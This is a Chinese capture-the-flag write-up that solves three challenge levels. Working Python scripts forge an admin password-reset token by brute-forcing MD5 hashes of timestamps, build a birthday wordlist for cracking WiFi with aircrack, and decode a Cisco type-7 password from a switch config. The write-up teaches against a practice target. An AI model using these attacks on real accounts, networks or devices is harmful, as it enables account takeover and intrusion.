第1题:以管理员身份登录系统
补充说明:假设除了admin用户,其它用户的邮箱都可被登录获取重置密码的链接。
根据提示信息,我们无法直接得到管理员的重置连接,应该是需要破解才可以的,以下是解题过程。
我尝试重置了3次密码,然后对重置的sukey进行解密,得到如下的信息:
第1次:1417336279
第2次:1417336396
第3次:1417336446
可以发现,3次中前面的几位基本上都是一样的(1417336),所以我们可以对后3位进行遍历,来得到通关密码。
#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf_8 -*-
# Date: 2014/11/30
# Created by r00tshell
# 博客 http://www.r00tshell.cn/
import requests
import hashlib
s = requests.Session()
header = {'Cookie': 'saeut=125.122.24.125.1416063016314663; PHPSESSID=45204efb16a5fba91c9159e1fe65b0e5'}
for x in xrange(615, 1000):
pwd = hashlib.new('md5', '1417336' + str(x)).hexdigest()
url = 'http://1.hacklist.sinaapp.com/password1_dc178aa12e73cfc184676a4100e07dac/reset.php?sukey=' + pwd + '&username;=admin'
r = s.get(url, headers=header)
if r.content != '':
print r.content
break
else:
print '正在破解中……', pwd
缩小范围,很快就能得到key了,如下图:
当然也有人说了,这个是利用时间戳加密得到的md5值进行碰撞得到的subkey,我也进行了测试,确实是这样的,代码如下:
#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf_8 -*-
# Date: 2014/11/30
# Created by r00tshell
# 博客 http://www.r00tshell.cn/
import requests
import hashlib
import time
s = requests.Session()
header = {'Cookie': 'saeut=125.122.24.125.1416063016314663; PHPSESSID=45204efb16a5fba91c9159e1fe65b0e5'}
while True:
pwd = hashlib.new('md5', str(int(time.time()))).hexdigest()
url = 'http://1.hacklist.sinaapp.com/password1_dc178aa12e73cfc184676a4100e07dac/reset.php?sukey=' + pwd + '&username;=admin'
r = s.get(url, headers=header)
time.sleep(0.8)
if r.content != '':
print r.content
break
else:
print '正在破解中……', pwd
两段代码都可以得到key,由于第1种需要解密sukey,所以推荐大家使用第2种方法,这个才是作者的真实意图!
第2题:邂逅对门的妹纸
小明想要认识对门的漂亮妹纸,但又不好意思直接去敲门,但是小明知道妹纸今年(2014年)上大三(提交wifi密码的md5 32位小写)
这一关明显考的是wifi密码破解,需要了解一些无线破解的相差知识,不过此题倒也不难,从题目中可以看出,这里的密码字典很明显是基于生日的(2014上大三),首先我们利用代码生成字典:
#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf_8 -*-
# Date: 2014/11/30
# Created by r00tshell
# 博客 http://www.r00tshell.cn/
with open('pass.txt', 'a+') as dic:
for year in range(1980, 2015):
for mon in range(1, 13):
for day in range(1, 32):
print '%d%02d%02d' % (year, mon, day)
dic.write('%d%02d%02d\n' % (year, mon, day))
可以在BackTrack或kali下跑出密码,也可以在windows下利用aircrack这个软件跑,有了字典密码就不在话下了:
第3题:万恶的Cisco
小明入侵了某企业内网,成功的从一管理员电脑获取了某型号交换机running-config文件,发现以下密码“02070D48030F1C294940041801181C0C140D0A0A20253A3B”请你帮他破解该密码。
这一题也简单,可以在线破解,也可以使用python cisco库来破解,代码如下:
#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf_8 -*-
# Date: 2014/11/30
# Created by r00tshell
# 博客 http://www.r00tshell.cn/
try:
from cisco_decrypt import CiscoPassword
except ImportError:
raise SystemExit('\n模块导入错误,请使用pip进行安装!')
cisco_pass = '02070D48030F1C294940041801181C0C140D0A0A20253A3B'
crack = CiscoPassword()
password = crack.decrypt(cisco_pass)
print password